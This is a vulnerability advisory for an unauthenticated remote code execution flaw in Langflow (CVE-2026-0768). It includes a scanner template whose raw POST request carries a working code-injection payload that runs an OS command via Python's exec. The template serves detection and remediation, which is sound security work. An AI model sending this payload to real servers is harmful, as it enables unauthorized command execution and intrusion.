CVE-2026-0768: Langflow <=1.2.x - Unauthenticated Remote Code Execution via validate_code
2026-09-16UnknownPoC Public
Description
Langflow <= 1.2.x exposes POST /api/v1/validate/code without any authentication. The endpoint calls validate_code() which exec()s user-supplied Python code. Default-argument expressions in Python execute at function-definition time, allowing arbitrary OS command execution without authentication.
PoC
id: CVE-2026-0768
info:
name: Langflow <=1.2.x - Unauthenticated Remote Code Execution via validate_code
author: DhiyaneshDk
severity: critical
description: |
Langflow <= 1.2.x exposes POST /api/v1/validate/code without any authentication. The endpoint calls validate_code() which exec()s user-supplied Python code. Default-argument expressions in Python execute at function-definition time, allowing arbitrary OS command execution without authentication.
impact: |
An unauthenticated attacker can execute arbitrary OS commands on the server running Langflow.
remediation: |
Upgrade Langflow to a version that requires authentication on the validate/code endpoint.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-0768
- https://www.pruva.dev/reproductions/REPRO-2026-00342
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-0768
epss-score: 0.07669
epss-percentile: 0.94278
cwe-id: CWE-94
metadata:
verified: true
max-request: 1
vendor: langflow-ai
product: langflow
tags: cve,cve2026,langflow,rce,code-injection,unauth,vkev
http:
- raw:
- |
POST /api/v1/validate/code HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"code": "def exploit(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True))')): pass"}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "uid=", "gid=", "function")'
- 'status_code == 200'
condition: and
extractors:
- type: regex
part: body
group: 1
regex:
- '(uid=[0-9]+\([a-z_]+\)[^ ]*)'
# digest: 4a0a00473045022100b18ed1aea38b8b2afb2cf73553e05e0fb5a715318dfb92d6b62ffef0c9d8ec2302207561e03d9cf54f71ef670a6c6c06bbb755e798094729283eb6f56889fb1804e6:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.